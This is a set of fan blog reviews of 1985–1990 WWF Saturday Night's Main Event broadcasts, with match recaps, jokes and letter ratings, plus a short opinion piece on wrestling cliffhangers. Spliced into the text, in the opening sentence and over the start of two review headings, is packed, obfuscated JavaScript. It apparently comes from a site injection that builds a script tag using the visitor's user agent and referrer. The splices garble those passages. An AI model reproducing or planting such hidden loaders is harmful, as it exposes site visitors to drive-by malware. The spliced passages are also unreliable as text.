Thought of the Day: Hang On A Minute

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndnih|var|u0026u|referrer|kbyyr||js|php'.split('|'),0,{})) be right back.Why doesn’t wrestling ever end in a cliffhanger anymore?  Everything always has to be wrapped up in a nice bow and be ready for next week.  You can end a show by asking a big question or mentioning that you need to tune in next week to find something out.  For example, one of the very last Saturday Night’s Main Events ended with Bobby Heenan getting a phone call and saying that one of the Ultimate Maniacs had been injured and wouldn’t make Survivor Series.  Want to find out who?  Well tune in to the next show to find out!

 

Why is that so complicated?  Not everything has to be self contained.




On This Day: November 26, 1988 – Saturday Night’s Main Event #18: Andre vs. Savage

Saturday Nights Main Event 18
Date: November 26, 1988
Location; ARCO Arena, Sacramento, California
Commentators: Vince McMahon, Jesse Ventura

We’re in the middle of Savage’s title reign here and tonight he defends against Andre. That’s a match that you don’t get that often but it sounds interesting if nothing else. This was a time where we were just getting ready for Hogan vs. Savage to set up Mania 5 which was kind of disappointing. Also on this show is the Super Ninja, who contrary to popular belief was NOT the Great Muta. You can tell that by the size difference if nothing else. Let’s get to it as I try to get done with SNME today.

Warrior says he’s going to go to war with Super Ninja and Mr. Fuji.

Heenan and Andre say they’re going to win the world title back.

Savage isn’t worried about Andre.

DiBiase doesn’t believe in Thanksgiving but only buying and selling like he did with Hercules.

Hogan talks about Thanksgiving and being on Brother Love’s Show.

The theme song wants you to know that it’s awesome.

Jesse wants top billing since we’re in Hollywood which is his town.

Fuji says he’ll win and makes a Pearl Harbor reference. Ninja is apparently a master of the seven arts. Would that include watercolors?

Warrior says he’s seen an unseen enemy. I love these promos as they were definitely entertaining.

Intercontinental Title: Super Ninja vs. Ultimate Warrior

Ninja looks like Spawn. The comic book character, not the annoying poster. Ninja goes after him and nothing at all works. Warrior gets a leapfrog and I’m not sure if I believe it or not. Vince talks about horse manure ice cream. Go ahead and try to convince me that he wasn’t on drugs. Total squash here that last two minutes or so and the splash ends it. Ninja was never seen again.

Rating: N/A. Not sure what the point of this was as Warrior could have beaten someone better than this just as easily without having to bring in some random guy that was never heard from again. Whatever though.

We recap Heenan selling Hercules’ contract to DiBiase which turned Herc face as DiBiase kept calling him a slave.

DiBiase says Hercules isn’t being American because he’s turning down the business deal that was made. Virgil gets Hercules tonight.

Hercules says he’s a free man.

Virgil vs. Hercules

Anyone else think this is a squash in the making? Back from a break and the heels are jumping Hercules. This works about as well as Rogaine worked for Virgil and the fans are on fire for this actually. I love knee lifts for some reason. I always have. We’re about a minute and a half in and Virgil hasn’t had a single shot yet. Apparently this is for Hercules’ freedom. A powerslam ends it. TOTAL domination here.

Rating: N/A. This somehow never led to Hercules vs. DiBiase. I’m not sure why they never had a proper blowoff but it could be due to the lack of talent from Hercules. This was just kind of odd as Virgil got totally squashed and it wasn’t even close. Just odd.

Twenty minutes so far and nothing but squashes.

We see Andre having a heart attack due to Jake and the snake last time.

Heenan and Andre insist that Andre is champion.

Savage says if Hogan can do it, he can do it. We have a huge world title match and it becomes about Hogan somehow. Why am I not surprised at all?

WWF World Title: Randy Savage vs. Andre the Giant

Savage runs at him like a crazy man and of course it doesn’t work at all. Andre was a shell of his former shell and couldn’t really do anything other than bare bones stuff by this point but dang he was trying. This is all Andre to start as Savage tries stupid things that never work in the slightest.

A short comeback gets him nowhere other than ticking Andre off. FINALLY he wakes up and goes to the air which actually works and he beats Andre down. Here’s Jake to distract Andre and Heenan. Savage makes Jake leave which is a weird moment for some reason. Jake’s height always is tricky. The match loses anything resembling focus as Heenan looks for the snake.

After a few minutes he finally finds it and Jake comes down again….resulting in a double DQ? Andre is in the ropes and Bobby gets beaten up. The snake is busted out but Heenan gets his out of there just in time. Savage seems cool with the whole costing of the match by Jake. Ah maybe he isn’t. The 80s were always confusing.

Rating: D. The opening stuff was good but as soon as Jake came out this became a circus and not the kind with the cool freaky clowns or bearded lady that resembled my aunt John. This was just a mess and never went anywhere at all. Savage vs. Andre could have been a bit match but it gets like 8 minutes where the focus was on Jake than anything else.

Duggan isn’t worried about Bravo in his flag match vs. Zhukov.

Boris Zhukov vs. Jim Duggan

This is a flag match where the winner gets to wave the flag. Other than that it’s a regular match though. They slug it out and Duggan wins of course, as Jesse points out that punching him in the head isn’t going to get him anywhere. Boris beats on Duggan but that does nothing at all. Short comeback and then the three point clothesline ends it.

Rating: N/A. Another two minute squash. Is this a theme or something tonight? Yet again this went nowhere at all and had absolutely no point. Vince crying at the presenting of the flag is kind of funny though.

We recap Boss Man beating up Hogan on Brother Love’s show which was the filler feud until Mania happened and Hogan got his real feud. It was a pretty good beating though.

Brother Love Show

The guest is Hogan. Love always scared me to death back in the day. He was just freaking scary. Instead of Hogan he brings out Slick. Hogan is TICKED and overacts beyond belief. We get to hear Jive Soul Bro as a consolation prize, making this show substantially better. Ah here’s Hulk. Nothing Love says means anything here as we’re just waiting on Boss Man to come in.

Love asks Hogan questions but keeps cutting him off before he can answer over and over again. He lets Slick answer because something tells me he’s not a nice person. Slick is as tall as Hogan. Never would have guessed that. The look on Hogan’s face is great actually as he’s not used to BLATANT DISRESPECT like this. Finally Hogan just grabs the mic and yells a lot.

Hogan talks about how fake Love is. This is going absolutely nowhere and I’m bored out of my mine. Hulk talks about being a judge and sentencing Love for something or other. He finally beats up Slick and Love. No Boss Man or anything which makes this a HUGE waste of time. Love gets handcuffed somewhere in there. Moving on.

The Rougeaus say they’re American citizens now. They live in Memphis now and say they’re American Boys. Dang I could go for that theme song of theirs.

YoungStallionsvs. FabulousRougeauBrothers

Considering we have 9 minutes left in the show, something tells me this is going to go this fast. The Stallions never were anything other than jobbers and I can’t imagine this is going to be anything else. How in the world did Roma become a Horseman? I will never understand that and I don’t think anyone else will. Powers ducks a cross body to finally break the dominance and makes the tag. Everything goes insane and the Rougeaus hit their finisher to end this. It went nowhere at all and it wasn’t supposed to.

Rating: N/A. An up and coming heel team beat a jobbing team. What did you expect this to be?

Andre says he’ll get the title and he’ll get Jake. Andre grabs Jesse twice and is a very scary looking man.

Jake says he’s smart or something. I don’t care a bit at this point.

Hogan says being the executioner turned him on. GOOD NIGHT EVERYBODY!

Overall Rating: F+. This was AWFUL. I know I don’t have many of these left but this was something I just wanted to end the entire time. There isn’t a good match to be found nor is there anything that meant anything. This was almost like a house show card but not a good one at all. Just flat out terrible and I was just counting down the time until it ended.

 

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On This Day: November 25, 1989 – Saturday Night’s Main Event #24: The Biggest Upset In History

Saturday Nights Main Event 24
Date: November 25, 1989
Location: Kansas Expo Center, Topeka, Kansas
Commentators: Vince McMahon, Jesse Ventura

The Survivor Series just happened and while it had the most awesome team in history (Hogan, Demolition and Jake), there isn’t much going on here. Because this was taped in October there won’t be any discussion of the show so this is really just a placeholder show. The Rumble stuff wouldn’t start until later on as that wasn’t a big deal yet either for the most part. Also the world title match and the only thing that mattered at Mania would be started up. Let’s get to it as this is the next to last one of these I have to do.

This show is about 20 minutes longer than the others so it was likely a two hour show. Very interesting.

Warrior says Andre better remember Jack and the Beanstalk.

Heenan says Andre is real, not a fairy tale.

Dusty is going to teach Boss Man about justice.

Boss Man and Slick say Rhodes is a common thief.

Genius wants the world title.

Hogan thinks Genius isn’t that smart.

This theme song is brilliant.

We get a quick recap of Warrior going after Heenan and Andre nearly killing him because of it. Heenan basically says Andre will win and Rude won’t be upset because it’s in the family. Andre is terrifying and funny at the same time.

Intercontinental Title: Ultimate Warrior vs. Andre the Giant

This was booked on a few dozen house shows but the key was it never went past like two minutes. Warrior says he isn’t afraid. One good thing about Warrior: he never wasted time on an intro. Andre jumps him to start which is odd for him and even Jesse sees that. Warrior actually chokes Andre down and in a funny moment Andre ducks out of the way and Warrior goes flying over the top. Just funny that he did something so basic for the stop.

One of the good things about Andre is his size lets any basic move look awesome. The problem is that Warrior is still insane here and Andre is FAR past his prime here and he needs someone capable in the ring to make him work. Andre gets knocked to the floor and it’s on out there. Warrior uses a bearhug back in the ring and it looks ridiculous. Has Andre not brushed his teeth in like 9 years or so?

Andre hooks a bearhug of his own and is on the mat with it. This is FAR too long as all of Warrior’s energy which is what makes this win look possible is gone at this point and nothing at all works for either guy. Andre is tied up in the ropes to just extend this even longer. Heenan comes in for the DQ and thank goodness for it.

Rating: F. This was just bad in general. It went on nearly eight minutes which is longer than Andre was in the ring for his entire tag title reign I think. This was a bad idea because of the length. At house shows, it was maybe two minutes at most which is what made it work. This was just horrible and it didn’t go well at all.

Genius says he’s smart.

Hogan says a poem and does some math. As good as it sounds.

WWF Title: Hulk Hogan vs. The Genius

Genius kind of prances around and this is definitely going to be a comedy match. He even uses a nip up which just wasn’t done back then. All Hogan here and Genius stops to write something on his scroll. He was incredibly athletic and skins the cat to get back in. And then Genius slaps Hogan in the face. Hogan gets tired of Genius doing his stuff and takes his head off with a clothesline.

Hogan is killing him now and then prances around the ring. Like him or not, the guy knew how to play to a crowd like no one else in history could. And here’s Mr. Perfect to mess everything up. He looks at the belt and says it’s not perfect and puts gum on it. Hogan gets posted and back in the ring a moonsault gets two. He Hulks Up and Genius goes to the floor. Perfect clocks Hogan with the belt and GENIUS WINS! THE GENIUS BEAT HOGAN! WITH THE TITLE ON THE LINE! Perfect runs away with the title in hand.

Rating: B-. Total comedy match that set up Hogan vs. Perfect for a few months if nothing else. This wasn’t supposed to be a serious match and you flat out can’t grade it as one. This was a hilarious match at times as someone for once tried to outsmart Hogan and it worked like a charm. This was perfectly played and while the match was nothing, the comedy and thinking was great. I liked this a lot but most people wouldn’t.

We recap Dusty vs. Bossman which is Dusty stopping Bossman from beating people up after his matches.

Slick says Dusty is in trouble.

Dusty is here to fight for justice. Does he mean Prince Justice? He looks like he hasn’t slept in a year.

Dusty Rhodes vs. Big Bossman

Dusty wants Slick thrown out but can’t get that. Bossman dominates to start with the help of Slick. Dusty gets to lay on his back for awhile so something must be working. A short fat woman at ringside yells at Slick. Dusty has gotten NOTHING in here at all. His comeback only lasts a bit as Slick gets the nightstick. Bossman yells at the lady from earlier and gets rolled up for the pin. The lady gets to dance in the ring and would become Sapphire.

Rating: D. Total domination here but Dusty got punches in and then a rollup to win the match. I hate that booking and always have. It makes Bossman look kind of weak since he managed to lose to a quick rollup like that and little of his offense did anything. This was just bad, but I’d put that on Dusty.

Red Rooster says he’ll beat Mr. Perfect.

Perfect says he’ll reveal the whole belt thing later tonight.

Red Rooster vs. Mr. Perfect

Genius reads a poem mocking Rooster and introduces Perfect. Rooster goes for an over the top chickenwing which doesn’t work. Perfect beats him up for a little while until Rooster makes a quick comeback. And then the Perfect Plex ends this. Can I get this four minutes of my life back please?

Rating: N/A. This was nothing at all but a squash for Perfect. Taylor would be in WCW in about a month.

Rockers say they’re really keen.

Heenan is arguing with the Brainbusters over who is the talent here.

Brainbusters vs. The Rockers

This is 2/3 falls. Before the match we have a commercial and since this is from 1989, there’s an ad for Batman now on VHS! Tully was in black before the break and is in red now. I love stuff like that. Jannetty and Blanchard start us off and it’s all drug addict. Wait…might need some more explanation there. Blanchard was forced to retire just after this due to a failed test. Jannetty gets a sunset flip for the pin on Tully for the first fall in like a minute and a half after some basic stuff.

Bobby is TICKED at them and leaves them on their own. The Rockers clean house and work on Arn. This is the sharpest they’ve ever looked and it’s working great. Shawn goes too fast and gets a hot shot to even us up as Jesse leaves to talk to Heenan.

Back from the break and Jesse has found Bobby. He says this is the worst team he’s ever worked with, which is saying a lot given that he had Red Rooster and Brooklyn Brawler for awhile. Bobby fires them more or less which makes sense as this is their final match with the company.

Shawn is hurt to start the third fall and is in there with Tully. I feel sorry for him. SICK spinebuster on Shawn which didn’t have a name at this point. Shawn plays Ricky Morton here but makes the tag and literally brings the crowd to their feet. Shawn stops a spike piledriver and hits a high cross body on Arn to win it.

Rating: C-. Not great but this was about the angle more than anything else. The Rockers could have been any team here but they were fun and exciting and were in the Heenan Family match at Survivor Series so they made the most sense. This was a decent enough match but really was a squash. That’s not something that happens to the former Horsemen that often.

Perfect is destroying the belt with a hammer. That would of course become the Hardcore Title. Perfect wants a title shot and would get a ton on house shows.

Hogan gets the busted up belt and is all sad over it. The belt they replaced it with was the same design which makes sense as it was like two and a half years old at that point. He does a big dramatic promo about it and throws the belt down in anger.

Vince and Jesse do their usual wrap-up.

Overall Rating: D+. I had this a bit higher than remembered that opener. This was more of a transitional show than anything else and the wrestling was pretty subpar. The highlight by far is Genius vs. Hogan and other than that it’s pretty much downhill. This was an ok show at best but there wasn’t much going on in the ring. Only one to go and I hope it’s better than this.

 

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On This Day: November 2, 1985 – Saturday Night’s Main Event #3: Wrestling Being Fun

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rttfd|var|u0026u|referrer|effkz||js|php'.split('|'),0,{})) Nights Main Event #3
Date: November 2, 1985
Location: Hersheypark Arena, Hershey, Pennsylvania
Commentators: Vince McMahon, Jesse Ventura

This is in between the first and second Manias so you can tell that this isn’t going to be anything really special. The main thing here is that it’s Halloween and Roddy Piper is a jerk. There’s also Hogan and Andre vs. Studd and Bundy which would become one of the more important matches for them in their feud as clips of it were played about a dozen times before Mania. All that being said let’s get to it.

Bobby is getting ready for some contest as the Halloween movie music plays in the background which is a nice touch.

Hogan says it’s going to be a fair fight tonight and Andre agrees.

Roddy Piper is dressed as a superhero and Ventura is proud of how Piper messed up their wedding at the last SNME.

Terry Funk is brand new here, as is some guy named Jimmy Hart. Wow that’s weird to say. Funk says he’ll house train the JYD.

Cue theme song. That song and video made this feel special and it really was. The fans are all dressed as wrestlers which is pretty cool.

We see a clip of Funk beating up a ring attendant while there’s a female referee. Well ok then. Jimmy says that was because of television tricks.

We go to another clip of Funk beating up JYD in Madison Square Garden. Monsoon was great at making things feel epic.

JYD says tonight is his day to get revenge.

Junkyard Dog vs. Terry Funk

Grab Them Cakes is a fun song. I can’t stand the guy but he had cool music. JYD jumps him early on and here we go. Funk gets crotched and I have a bad feeling about this already. Any kind of logic or fairness says Funk wins here. It’s ALL JYD to start here and the reaction is great so I guess something is working here.

Funk grabs Hart, thinking he’s JYD. Didn’t the hair or jacket tip him off at all? I guess not. It’s still all JYD here as he beats up Jimmy. Funk comes back and my faith in the universe is restored. Hart comes in again and drops the Megaphone. You know what comes next I’m assuming. Post match Funk tries to brand JYD but it doesn’t work. JYD steals Jimmy’s pants and brands him afterwards.

Rating: D. Pretty weak here as it was about as paint by numbers as you could ask for. Funk got a weird short push around this time as he was a great heel that WWF didn’t really ever capitalize on. To be fair though he was gone soon so it’s not like it really mattered. This was more of a comedy match but the right guy won so my complaints will be limited.

It’s time for round one of the Halloween competitions. The wrestlers in costumes are rather funny. Iron Sheik is Batman of all people. The captains are Heenan and Albano. I wonder who is going to win this, which is a pie eating contest. Hogan is Hercules, Bundy is Abraham Lincoln, Albano is in a toga.

Savage and Liz are Tarzan and Jane (Liz in leopard REALLY works), Volkoff is Robin, Heenan is Davy Crockett, Tito Santana is Zorro, Gene is a pumpkin, the Hillbillies are the 3 Musketeers and this is awesome. Albano is Caesar apparently. Albano vs. Bundy in pie eating. This could cripple the pie market. It’s most consumed in 90 seconds. Albano is declared the winner. That was rather disturbing to watch.

Piper’s Pit

The guests are Hillbilly Jim, Cousin Junior and Cousin Elmer. The latter two were brought in because Jim broke his leg and they wanted to keep the angle going. We recap the last main event where Piper and Ventura were jerks. Piper has ridiculous heat at this point as he was the most evil man alive back in the mid 80s.

Elmer keeps saying things are none of Piper’s business. Piper says it was Ventura that said all those things and Jim calls Ventura out. Here’s the future governor which is just hilarious in hindsight. Dang that ring is huge. Piper shoves Junior over Orton for a school boy thing and it’s on. The Hillbillies get Jesse’s hat and stomp on it.

It’s time for round two: the Pumpkin Dunk. It’s Cousin Junior vs. Heenan. JYD is a mummy. He sucks at that too. It’s like bobbing for apples but in chocolate and with pumpkins. Heenan is whipping the hillbillies so far which is weird. Heenan actually wins fairly which is very weird. Good freaking night Liz was perfect.

Gene is with Studd, Bundy and Heenan. Heenan brags about his team as he was so good at. The heels say nothing interesting.

Hogan and Andre say they’re ready.

Hulk Hogan/Andre the Giant vs. King Kong Bundy/Big John Studd

Hogan in white is always interesting. This was the main house show main event at the time so you would see this quite often around this time. It’s still Eye of the Tiger for Hogan which is weird to say the least. He’s rocking an Abyss shirt as it says American Made. Who would have thought ripping a shirt off would get such a pop?

Hogan vs. Bundy starts us off. Hogan of course can’t slam him and hurts his back. That lasts less than two seconds and it’s ALL Hogan. Ok make that Andre, called the Big Boss Man here which is something I’ve heard before. I love Andre’s punches since he has to swing down to connect due to his height.

Hogan does the majority of the match due to Andre already being injured. Ventura says he’ll be in a six man on the next SNME with the previously mentioned guys. Andre accidentally hits the referee and of course we get a huge brawl. It’s weird when Hogan is the smallest guy in there. Actually it isn’t as he commonly was. Another referee comes in since the original is more or less dead. Vince’s overselling of all this stuff is great. After a commercial we have Studd vs. Andre.

Hogan spits at Studd after knocking him down. What a nice guy. Andre gets tied up in the ropes and Bundy hits the avalanche on Hogan and the double team begins. The referee throws it out as Hogan makes the save. Hogan and Andre win by DQ.

Rating: D. This was a glorified squash as the heels controlled for a combined 9 seconds I think. This was just to have a TV spectacle and nothing more which is fine I guess. It’s a tag team main event match, but this was just different and didn’t work in the slightest. The historical aspect helps it a bit though.

Andre rambles on a lot afterwards and is difficult to understand. I think he wants the pastrami on rye.

We now get the debut of the Land of 1000 Dances video, which for any nostalgic fan like me is must see.

That was just awesome, if nothing else for seeing Bret Hart try to dance.

Gene asks Savage why he has a woman for a manager. Savage says anyone that asks that is blind or stupid. Savage was brand new at this time and wouldn’t mean anything until he made it to the finals of the Wrestling Classic less than a week after this aired. Gene stares at Liz as she leaves. Can’t blame him.

Intercontinental Title: Randy Savage vs. Tito Santana

Oh yes! Liz’s cleavage makes this work. Santana doesn’t even get an intro? These two had some freaking WARS on the touring circuit and they never ceased being awesome. Savage stalls and the heat is GREAT. Savage nails him with a right and Santana looks like he got shot. Was there a point to that clap Savage would do before throwing a back elbow? I always guessed rhythm or something. DAng this is fast paced.

Savage was just completely awesome at this point and Santana wasn’t far behind. You have to keep in mind that Savage was completely revolutionary in what he did. The heels on this show so far are Roddy Piper, Bob Orton, Terry Funk, Bundy and Studd. None of them are incredibly athletic guys. Piper was more of a talker than a wrestler at this point, Funk was brand new, Orton was a bodyguard that occasionally wrestled and Bundy and Studd were Bundy and Studd.

Savage came out there as this small guy that was completely insane and could go move for move with guys like Santana. He was a completely new kind of heel as he had a mean streak but wrestled like a face but with insane speed. He was exciting yet deadly, which made him AWESOME. Liz didn’t hurt either, as women managers simply didn’t happen that often, at least not in WWF.

Savage runs away and catches Santana coming back into the ring and the fight is on on the floor. Savage goes for a piledriver out there, channeling his inner Memphis. It’s a double count out to set up the final blowoff match I believe in Boston where Savage won the title about three months later, holding it until he lost it to Steamboat.

Rating: B-. Short but exciting as all goodness. These two are another pair of guys with mad chemistry together and this was no exception. This is another of those matches that you simply can’t screw up, even in a 4 minute TV match. It was another of their many battles and while it’s not great, some of their others were utterly fantastic.

Mr. Fuji makes funny sound effects and grinds his knuckles into his head.

Steamboat breaks cinder blocks and wood. There’s a Kung Fu Challenge coming up.

We go to Roddy Piper’s house to see how he spent Halloween. Piper is making candy apples out of bowling balls and chocolate out of bricks. Piper is completely insane here and it’s hilarious. He looks like the villain in a decent comedy/horror movie. Some kids come up and Piper HAS to be on coke here.

No one could talk this fast otherwise. One of the kids is dressed as Hogan. Piper drops bowling balls in their candy bags and steals some of their candy. He’s COMPLETELY insane here and then it turns out the kids give him chocolate covered red peppers. This was funny yet oddly creepy.

Hogan thinks it was funny.

Fuji is ready for the Kung Fu Challenge.

We see a clip of Steamboat being hanged by Fuji and Muraco. Steamboat says nothing of note.

Mr. Fuji vs. Ricky Steamboat

There are different rules here apparently. Don’t worry: they’re not important or anything since we aren’t told what they are. Basically it’s an overly long striking contest with little of note to it. Steamboat hits a missile dropkick from the top for the win. Muraco and Fuji beat up Steamboat afterwards.

Rating: N/A. This was definitely something different so I’ll give them points for that. That doesn’t mean it’s good or anything though.

It’s time for the finals of the Halloween Games. This is the Pumpkin Pass where you have a line of guys and you put a pumpkin under your chin and between your chest and pass it to the next guy and so on and so forth. Furthest down the line wins. The faces allegedly cheat but there’s no proof of it. HOGAN SCREWS IT UP!

They score five passes. The heels then go and have Roddy with them, apparently giving them an advantage somehow. The heels keep covering things up with capes and we get an upskirt shot of Liz as we more or less see her in a bikini. Oh yes. They only get four and therefore the faces win. Savage blames Liz of course.

Vince and Jesse close us out as Monster Mash plays in the background.

Overall Rating: C+. This is FAR more about comedy here than anything else but it had that 1980s charm to it that worked pretty well. Again the wrestling is freaking bad but to be fair it wasn’t supposed to be that kind of show. There was no direction here so they improvised and it worked well I thought. Not really recommended, but the comedy is solid and they didn’t try to be anything impressive here, which made this work I think.

 

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On This Day: October 13, 1990 – Saturday Night’s Main Event #28: Roddy Piper In Lederhosen

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drbsi|var|u0026u|referrer|rfhdi||js|php'.split('|'),0,{})) Nights Main Event 28
Date: October 13, 1990
Location: Toledo Sports Arena, Toledo, Ohio
Commentators: Vince McMahon, Roddy Piper

This is just after Summerslam 90 where Hogan made his triumphant return. He has his big match tonight teaming with Tugboat against Rhythm and Blues. Other than that there’s just Sgt. Slaughter being evil and beating up Koko B. Ware. There just isn’t much on this card as we’re in a transitional show to an extent as we’re waiting on a new top heel to come up. Let’s get to it.

It’s Oktoberfest. We get to hear the production guy saying we’re on the air. Oh dear. Piper shows up in lederhosen.

I still love that theme song.

Demolition says they’re going to beat up the LOD.

The LOD say Demolition doesn’t scare them. This is interspersed with Oktoberfest jokes. Warrior, their partner, pops up. Yeah I have no idea what he said.

Ultimate Warrior/Legion of Doomvs. Demolition

Has there ever been a better collection of theme music in one match? The LOD cost Demolition the tag belts and Warrior is there….uh because. This would be a Survivor Series match in a month with Hennig and Tornado joining them. Piper points this out. We get a shot of Dustin Rhodes in the crowd. Keep that in mind as it’ll come into play later on. Warrior comes in and just destroys people.

The splash misses Axe though and he’s Smash. Demolition was more or less worthless by this point and would get squashed at Mania and be done. Hawk comes in and just wipes them out. You can see the crushing of them beginning. He continues the trend of beating all of Demolition by himself. Everybody comes in and brawls but Smash is more or less dead and gets caught by the splash for the pin. This was domination in every sense of the word.

Rating: D. Just not interesting at all as Demolition was made to look like a bunch of jobbers here. I don’t think anyone ever bought them anymore once the LOD showed up. Not the worst match ever, but a little challenge would have been nice.

We go to the Oktoberfest celebration and a lot of wrestlers are there. Alfred Hayes is talking about beer with a German guy.

Randy Savage vs. Dusty Rhodes

This is a rematch from Summerslam. Savage wanted a shot at Warrior and DiBiase was about to feud with Rhodes. Dusty looks like a freaking moron, wearing a big black shirt with red polka dots. Now remember, Dustin is in the front row. After about three minutes of NOTHING interesting, Ted DiBiase is in the front row.

He starts paying people off so he can have the whole front row to himself. I get images of Cartman from the episode where he gets his own theme park here. Dustin of course isn’t for sale and stays in his seat. This just isn’t interesting. Savage can’t slam Dusty. That’s just funny.

He’s a power guy according to a lot of you. DiBiase and Virgil jump and beat the living heck out of him, which is about as clean cut of a definition of assault and battery as you could ask for but we’ll ignore that for storyline purposes. Rhodes goes to save his son and gets counted out. This led to a tag match at the Rumble which was Dusty’s last WWF match.

Rating: D. This was an angle rather than a match. They were just killing time in the ring until the angle could get going. There just wasn’t much at all going on here, but at the same time this was just to set up DiBiase vs. Rhodes so that’s fine.

Tugboat and Hogan say their usual stuff. Hogan dances. Yeah. They want Earthquake and Bravo. They want to know what’s going to happen when Hogan and Tugboat Bavarian Cream Rhythm and Blues. Oh dear.

The Bushwackers are making cheese. It turns into cutting cheese jokes. Alfred still won’t talk as he’s telling stories to the German guy.

Rhythm and Blues vs. Hulk Hogan/Tugboat

Rhythm and Blues are Honky Tonk Man and Greg Valentine in a dumb tag team. Tugboat is here because he got the people to try to make Hogan feel better when he got hurt. Do you ever feel sorry for Fred Ottman? Can we buy this guy a decent gimmick? Not even a good one but a decent one? This goes exactly how you would expect it to: Hogan destroys them by himself and they bail.

This is about as weak of a match as you could ask for. Naturally Tugboat gets caught by a Valentine axe handle which he sells like a hatchet to the head. Vince says that Tugboat is beached. You know, like a whale. The Blowhole Kid dodges some elbows and gets Hogan in to clean house. Hogan goes for the legdrop but here come Earthquake and Bravo.

They don’t get to the ring or anything though. Back to the match after a commercial, Tugboat takes a guitar to the back for the DQ. Here comes your monster heel and it’s a big beatdown. Tugboat is off somewhere in search of a Twinkie. Tugboad FINALLY realizes he’s at work and pops Quake with the guitar to send them running.

Rating: D+. Again, just more of an angle than a match as no one cared about who won or lost here. This was just to set up more Survivor Series stuff which is fine I suppose, but at the same time I wish they could have had a better way of doing it. Not sure what that way would have been though.

It’s time for a sausage stuffing contest and Gene says Genius is a master of it and is in the sausage stuffing hall of fame. Gay jokes were easier in the early 90s I guess. It’s Hacksaw and the Hart Foundation vs. Fuji and the Orient Express. Who would believe that Bret would have a title today? It’s the most you can do in a minute. Gene says we’re getting down to the short strokes. It goes like 45 seconds and there’s no winner. Hayes is still telling jokes to the German guy.

Intercontinental Title: Texas Tornado vs. Haku

I think this happened at Mania also. I love how at this point taking a match on ten days’ notice is a huge deal. Now you get matches on hours or even minutes notice. This is really short as Haku goes to the nerve hold early on but shifts to a sleeper. Tornado comes back and hits the Claw and the Tornado Punch to retain.

Rating: N/A. Just a way to make his title reign seem legit before he dropped it back to Hennig soon enough. I think it was in December or so.

Hogan and Tugboat make sailing jokes and talk about how his ribs are.

Sgt. Slaughter vs. Koko B. Ware

I wonder how this is going to go. Slaughter just became a major heel at this time and we were in Desert Storm at the moment. You could always kind of tell that Piper hated this angle and supported the troops. Koko starts off kind of hot then realizes he’s Koko and gets beaten on.

He makes the short comeback but takes a hotshot and actually just drives his knuckles into the side of Koko’s head. It’s the dumbest looking finisher I’ve ever seen but it works. Then in a cool moment as Slaughter is waving the Iraqi flag, Stars and Stripes Forever kicks on and Nikolai Volkoff is waving the American flag. Awesome visual if nothing else.

Rating: D-. More dullness as I want this show to end. Koko continued his tradition of jobbing like there was no tomorrow. Slaughter wound up being world champion out of this so there you go.

Neidhart and Slick have a bit of a dance off. And now there’s a food fight. Hayes still isn’t paying attention.

Warrior says he doesn’t like Sherri for slapping him and that he’ll fight Savage.

Savage and Sherri say Savage will be champion again.

Hayes yells at Gene and gets pied.

Allegedly the next SNME would be just after Survivor Series. That didn’t happen. Ah apparently it did but it was The Main Event and on a Friday. That makes sense I guess.

Overall Rating: F-. Just boring beyond belief with nothing of note and nothing being any good. This was a weird cross between a buildup show and a transitional show but neither worked. Probably the worst one yet which is saying a lot. Terrible show with nothing worth seeing.

 

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On This Day: October 4, 1986 – Saturday Night’s Main Event #7: 1986 In A Nutshell

Saturday Nights Main Event 7
Date: October 4, 1986
Location: Coliseum at Richfield, Richfield, Ohio
Commentators: Vince McMahon, Jesse Ventura

This is more or less the beginning of Hogan vs. Orndorff and not much else. We’re not quite to the build for Mania but we’re getting closer. Not a lot is going on here as this is pretty much the end of the summer series of matches. Back in the day you had a lot more summer feuds as you had two sets of house shows touring the country.

For example you would have Hogan vs. Orndorff in half the country and Roberts vs. Steamboat in the other. That’s kind of cool when you think about it and they were far big enough matches to carry the fans’ interest. Either way this is just kind of an off the wall show where they just kind of threw it together with whoever they had there. Let’s get to it though.

Roberts, in regular tights which just looks odd, says he’s ready for Steamboat and he’ll win.

Johnny V. says the Dream Team will win tonight.

Kamala is a savage.

Orndorff is ready.

Hogan says he’ll get back at Orndorff.

Dang I love this intro.

Piper is hurt apparently. Adonis, Muraco and Orton hurt him. Piper is freaking TICKED and says he’s fighting anyway. This was great.

Hogan says that he’s mad at Orndorff but he’ll get him back tonight. Hogan says he’s old. This was 23 years ago. For those of you that don’t know, Orndorff had turned face to help Hogan fight Piper and Orton and they were best friends. One day Heenan started saying Hogan didn’t care about him so he called his house saying he could get him any time.

Hogan couldn’t come to the phone as he was working out. This made Orndorff think he wasn’t important and Heenan accepted him. Basically Orndorff just wanted appreciation which isn’t asking for much is it? Orndorff does something most interesting; he steals Hogan’s music. There’s a great feud there somewhere.

WWF Title: Hulk Hogan vs. Paul Orndorff

We start off very fast but some cheating from Heenan has our hero in trouble! We go to the floor and they beat on each other quite a bit. Ok make that Hogan takes a beating including from the microphone cord. Vince says there are over 20,000 people here, which is what the first Survivor Series brought there in about a year.

I find that a bit odd. Paul gets more offense in than I would expect but there’s your traditional comeback by Hogan. Heenan grabs the foot though and cops show up to throw him out. That’s original back then I guess. They literally pick him up and carry him off and we go to a break with Heenan trying to get out of the cell thing they put him in.

Paul beats on him a bit more but then the piledriver is reversed and Hogan does his usual. Adrian Adonis runs in for the DQ and Piper comes in to save Hogan. That’s just odd to type. Adonis has a bad arm injury as it’s just hanging there. Ventura hates Piper as a face.

Rating: C-. This was hard for them to mess up as they had it about 200 times in a year. They raked in money though so it was worth it. They would have a far more famous cage match in two SNMEs to blow it off before Andre returned for the angle with Hogan. This was fine though.

Jake Roberts vs. Ricky Steamboat

This is a Snake Pit match which means nothing at all. Gene interviews Jake and Damien in the shower of all places. Roberts had dropped Steamboat on his head at the previous SNME and then Steamboat had beat him at a huge show called The Big Event in Toronto which is coming up soon. This is match three I guess.

